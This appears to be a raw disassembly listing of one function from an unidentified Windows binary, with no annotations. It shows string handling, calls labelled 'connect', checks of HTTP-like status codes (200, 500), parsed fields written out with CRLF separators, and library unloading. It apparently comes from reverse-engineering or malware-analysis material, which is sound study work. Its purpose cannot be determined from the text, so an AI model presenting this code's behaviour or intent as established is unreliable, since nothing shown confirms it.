lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
mov dword [ebp - 0x16c], esp
push eax
call fcn.00450b37
push esi
lea edx, [ebp + 8]
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x74]
call fcn.004512f8
pop ecx
sub esp, 0x18
mov byte [ebp - 4], 0x63
lea edx, [ebp - 0x5c]
mov ecx, esp
push edx
mov edx, eax
call fcn.0045166b
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x64
call fcn.00443c33
add esp, 0x30
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x66
call fcn.00450a63
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x16c], esp
mov dword [ebp - 0x168], eax
push ecx
push eax
mov ecx, edi
call fcn.0045137b
or dword [ebp - 0x154], 0x20000000
sub esp, 0x18
mov byte [ebp - 4], 0x67
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x168], esp
mov ecx, esp
push eax
call fcn.00450b37
sub esp, 0x18
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x8c]
mov ecx, esp
push eax
call fcn.00450b37
mov byte [ebp - 4], 0x66
push 2
jmp 0x446c79
mov eax, dword [0x487270]
mov ecx, esi
mov edi, dword [eax + 0xc]
lea eax, [ebp - 0xd4]
push eax
call fcn.0043f245
push ecx
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x44]
mov ebx, dword [ebp - 0x150]
push ecx
or ebx, 0x40
mov ecx, eax
mov dword [ebp - 0x150], ebx
call fcn.0045137b
or dword [ebp - 0x158], 1
mov dword [ebp - 4], 0x6a
lea ecx, [ebp - 0x44]
or ebx, 0x80
push edi
mov dword [ebp - 0x150], ebx
call fcn.00452304
test al, al
jne 0x446a8f
mov eax, dword [0x487270]
mov ecx, esi
mov edi, dword [eax + 0x10]
lea eax, [ebp - 0x74]
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0x6b
push ecx
or ebx, 0x100
mov ecx, eax
mov dword [ebp - 0x150], ebx
call fcn.0045137b
mov esi, dword [ebp - 0x158]
lea ecx, [ebp - 0x2c]
or esi, 8
or ebx, 0x200
push edi
mov dword [ebp - 0x158], esi
mov dword [ebp - 0x150], ebx
call fcn.00452304
test al, al
jne 0x446a95
xor bl, bl
jmp 0x446a97
mov esi, dword [ebp - 0x158]
mov bl, 1
mov eax, dword [ebp - 0x150]
test eax, 0x200
je 0x446abd
and eax, 0xfffffdff
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x150], eax
call fcn.00450a63
mov eax, dword [ebp - 0x150]
test eax, 0x100
je 0x446add
and eax, 0xfffffeff
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x150], eax
call fcn.00450c8d
mov eax, dword [ebp - 0x150]
test al, al
jns 0x446afa
and eax, 0xffffff7f
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x150], eax
call fcn.00450a63
mov eax, dword [ebp - 0x150]
mov dword [ebp - 4], 0xa
test al, 0x40
je 0x446b19
and eax, 0xffffffbf
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x150], eax
call fcn.00450c8d
mov edi, dword [ebp - 0x164]
test bl, bl
je 0x446ca1
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
or esi, 0x40
mov dword [ebp - 0x158], esi
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x6c
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x200
mov dword [ebp - 0x158], esi
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xa
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
mov dword [ebp - 0x16c], esp
push eax
call fcn.00450b37
push 0x47d4c0
lea edx, [ebp + 8]
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x74]
call fcn.004512f8
pop ecx
sub esp, 0x18
mov byte [ebp - 4], 0x6f
lea edx, [ebp - 0x5c]
mov ecx, esp
push edx
mov edx, eax
call fcn.0045166b
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x70
call fcn.00443c33
add esp, 0x30
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x72
call fcn.00450a63
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x16c], esp
mov dword [ebp - 0x168], eax
push ecx
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x1000
mov dword [ebp - 0x158], esi
sub esp, 0x18
mov byte [ebp - 4], 0x73
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x168], esp
mov ecx, esp
push eax
call fcn.00450b37
sub esp, 0x18
mov byte [ebp - 4], 0x74
lea eax, [ebp - 0x8c]
mov ecx, esp
push eax
call fcn.00450b37
mov byte [ebp - 4], 0x72
push 3
pop ecx
call fcn.00444044
add esp, 0x48
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x5c]
mov byte [ebp - 4], 0xa
mov byte [eax], bl
call fcn.00450a63
mov eax, dword [0x487270]
mov ecx, edi
mov esi, dword [eax + 0x14]
lea eax, [ebp - 0x74]
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x75
push ecx
mov ecx, eax
call fcn.0045137b
or dword [ebp - 0x158], 0x8000
lea ecx, [ebp - 0x2c]
push esi
call fcn.00452304
lea ecx, [ebp - 0x2c]
mov bl, al
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00450c8d
test bl, bl
je 0x44748f
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
mov ebx, dword [ebp - 0x158]
or ebx, 0x40000
mov dword [ebp - 0x158], ebx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x76
push eax
mov ecx, edi
call fcn.0045137b
or ebx, 0x200000
mov dword [ebp - 0x158], ebx
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xa
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf0], 0xf
mov byte [ebp - 0x104], bl
mov byte [ebp - 4], 0x78
lea esi, [ebp - 0x104]
mov eax, dword [0x487270]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x16c], esp
push dword [eax + 0x90]
call fcn.00450b02
mov byte [ebp - 4], 0x79
lea eax, [ebp - 0x5c]
mov edx, dword [0x487270]
sub esp, 0x18
mov ecx, esp
mov edx, dword [edx + 0x8c]
push eax
call fcn.00451257
pop ecx
mov edx, esi
mov byte [ebp - 4], 0x78
mov ecx, connect
call fcn.00440a16
add esp, 0x30
push 0x478e64
mov ecx, esi
call fcn.00452304
test al, al
je 0x446e65
mov eax, dword [0x487270]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x16c], esp
push dword [eax + 0x90]
call fcn.00450b02
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x5c]
mov edx, dword [0x487270]
sub esp, 0x18
mov ecx, esp
mov edx, dword [edx + 0x94]
push eax
call fcn.00451257
pop ecx
mov edx, esi
mov byte [ebp - 4], 0x78
mov ecx, connect
call fcn.00440a16
add esp, 0x30
push 0x478e64
lea ecx, [ebp - 0x104]
call fcn.00452304
test al, al
jne 0x447458
mov eax, dword [0x487270]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x16c], esp
push dword [eax + 0x98]
call fcn.00450b02
sub esp, 0x18
mov byte [ebp - 4], 0x7b
lea eax, [ebp - 0x104]
mov ecx, esp
push eax
call fcn.00450b37
mov edx, connect
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0044096b
add esp, 0x30
push 5
pop edx
xor ecx, ecx
mov byte [ebp - 4], 0x7c
call fcn.004408e0
cmp eax, 0xc8
je 0x446f50
push 0x478e64
lea ecx, [ebp - 0x2c]
call fcn.00452304
test al, al
jne 0x446f50
mov byte [ebp - 0x174], bl
lea edx, [ebp - 0x2c]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x44]
call fcn.00452662
pop ecx
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x44]
mov esi, dword [ebp - 0x150]
or esi, 0x400
mov dword [ebp - 0x150], esi
call fcn.0043ff6d
test al, al
je 0x446f56
push 2
pop edx
xor ecx, ecx
call fcn.004408e0
cmp eax, 0x1f4
je 0x446f56
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.00450b37
call fcn.0044384e
add esp, 0x18
test al, al
je 0x446f56
mov bl, 1
jmp 0x446f56
mov esi, dword [ebp - 0x150]
mov dword [ebp - 4], 0x7c
test esi, 0x400
je 0x446f79
and esi, 0xfffffbff
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x150], esi
call fcn.00450c8d
test bl, bl
je 0x44743e
xor ebx, ebx
mov dword [ebp - 0x90], 0xf
mov dword [ebp - 0x94], ebx
mov byte [ebp - 0xa4], bl
push ecx
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x7e
mov esi, dword [0x487240]
mov ecx, edi
push eax
call fcn.0045137b
or dword [ebp - 0x158], 0x4000000
push ecx
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 0x7f
push eax
mov ecx, edi
call fcn.0045137b
or dword [ebp - 0x158], 0x20000000
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x134]
mov eax, dword [0x487270]
push dword [eax + 0x14]
call fcn.00450b02
mov byte [ebp - 4], 0x81
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [eax + 0x10]
lea eax, [ebp - 0x14c]
push ecx
push ebx
push eax
lea ecx, [ebp - 0x74]
call fcn.004508aa
mov byte [ebp - 4], 0x82
cmp dword [eax + 0x14], 0x10
jb 0x447017
mov eax, dword [eax]
push eax
call esi
pop ecx
lea ecx, [ebp - 0x14c]
mov esi, eax
call fcn.00450a63
lea ecx, [ebp - 0x134]
call fcn.00450a63
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x7e
call fcn.00450a63
test esi, esi
jne 0x447409
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], bl
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], bl
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], bl
sub esp, 0x18
mov byte [ebp - 4], 0x85
mov eax, esp
mov dword [ebp - 0x16c], eax
push ecx
push eax
mov ecx, edi
call fcn.0045137b
or dword [ebp - 0x180], 1
lea ecx, [ebp - 0xec]
call fcn.004407d9
add esp, 0x18
lea ecx, [ebp - 0xa4]
push eax
call fcn.00450a86
lea ecx, [ebp - 0xec]
call fcn.00450a63
mov eax, dword [0x487270]
push ecx
lea ecx, [ebp - 0xa4]
mov esi, dword [eax + 0x9c]
push esi
call fcn.00450934
cmp eax, 0xffffffff
je 0x4473a5
push ecx
push esi
lea ecx, [ebp - 0xa4]
call fcn.00450934
add eax, 0xc
lea ecx, [ebp - 0xa4]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0xa4]
call fcn.00450a3b
push ecx
push 0x47d63c
lea ecx, [ebp - 0xa4]
call fcn.00450934
push eax
push ebx
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0xa4]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x44]
call fcn.00450a86
lea ecx, [ebp - 0xec]
call fcn.00450a63
mov eax, dword [0x487270]
push ecx
lea ecx, [ebp - 0xa4]
push dword [eax + 0xa0]
call fcn.00450934
add eax, 0x15
lea ecx, [ebp - 0xa4]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0xa4]
call fcn.00450a3b
sub esp, 0x18
mov esi, esp
push ecx
push 0x47d63c
lea ecx, [ebp - 0xa4]
call fcn.00450934
push eax
push ebx
push esi
lea ecx, [ebp - 0xa4]
call fcn.004508aa
lea ecx, [ebp - 0xec]
call fcn.00443a10
add esp, 0x18
lea ecx, [ebp - 0x8c]
push eax
call fcn.00450a86
lea ecx, [ebp - 0xec]
call fcn.00450a63
mov eax, dword [0x487270]
push ecx
lea ecx, [ebp - 0xa4]
push dword [eax + 0xa4]
call fcn.00450934
add eax, 0x15
lea ecx, [ebp - 0xa4]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0xa4]
call fcn.00450a3b
sub esp, 0x18
mov esi, esp
push ecx
push 0x47d63c
lea ecx, [ebp - 0xa4]
call fcn.00450934
push eax
push ebx
push esi
lea ecx, [ebp - 0xa4]
call fcn.004508aa
lea ecx, [ebp - 0xec]
call fcn.00443a10
add esp, 0x18
lea ecx, [ebp - 0xbc]
push eax
call fcn.00450a86
lea ecx, [ebp - 0xec]
call fcn.00450a63
push 0x478e64
lea ecx, [ebp - 0xbc]
call fcn.00452304
test al, al
jne 0x4470c9
mov edx, dword [0x487270]
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x11c]
mov edx, dword [edx + 0xa8]
call fcn.00451257
pop ecx
push 0x47d554
mov edx, eax
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0xec]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 0x87
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44729e
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x485ba8
call fcn.00450e34
lea ecx, [ebp - 0xec]
call fcn.00450a63
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x85
call fcn.00450a63
mov edx, dword [0x487270]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0xec]
mov edx, dword [edx + 0xac]
call fcn.00451257
pop ecx
push 0x47d554
mov edx, eax
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x11c]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 0x89
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x447309
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x485ba8
call fcn.00450e34
lea ecx, [ebp - 0x11c]
call fcn.00450a63
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x85
call fcn.00450a63
mov edx, dword [0x487270]
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0xec]
mov edx, dword [edx + 0xb0]
call fcn.00451257
pop ecx
push str._r_n_r_n
mov edx, eax
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x11c]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 0x8b
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x447374
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x485ba8
call fcn.00450e34
lea ecx, [ebp - 0x11c]
call fcn.00450a63
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x85
call fcn.00450a63
inc dword [0x48721c]
jmp 0x4470c9
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0xbc]
cmovae eax, dword [ebp - 0x44]
cmp dword [ebp - 0x78], 0x10
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0xac], ebx
mov byte [eax], bl
lea eax, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xa8], 0x10
mov byte [eax], bl
lea eax, [ebp - 0xbc]
cmovae eax, dword [ebp - 0xbc]
mov byte [eax], bl
call fcn.00450a63
lea ecx, [ebp - 0x8c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x7e
call fcn.00450a63
push dword [0x487220]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x90], 0x10
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x94], ebx
lea ecx, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
mov byte [eax], bl
call fcn.00450a63
jmp 0x447440
xor ebx, ebx
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
call fcn.00450a63
cmp dword [ebp - 0xf0], 0x10
lea eax, [ebp - 0x104]
mov dword [ebp - 0xf4], ebx
lea ecx, [ebp - 0x104]
cmovae eax, dword [ebp - 0x104]
mov byte [eax], bl
lea eax, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov dword [ebp - 0x4c], ebx
cmovae eax, dword [ebp - 0x5c]
mov byte [eax], bl
call fcn.00450a63
lea ecx, [ebp - 0x188]
mov dword [ebp - 4], 9
call fcn.0043ff46
mov esi, dword [ebp - 0x184]
mov edi, dword [ebp - 0x188]
jmp 0x4458b7
test esi, esi
je 0x4474c3
mov ecx, esi
call fcn.0042a1eb
mov ecx, dword [ebp - 0x1f4]
test ecx, ecx
je 0x4474d2
call fcn.0042a1eb
lea ecx, [ebp - 0x5c]
call fcn.00450a63
lea ecx, [ebp + 8]
call fcn.00450a63
call fcn.0046c439
ret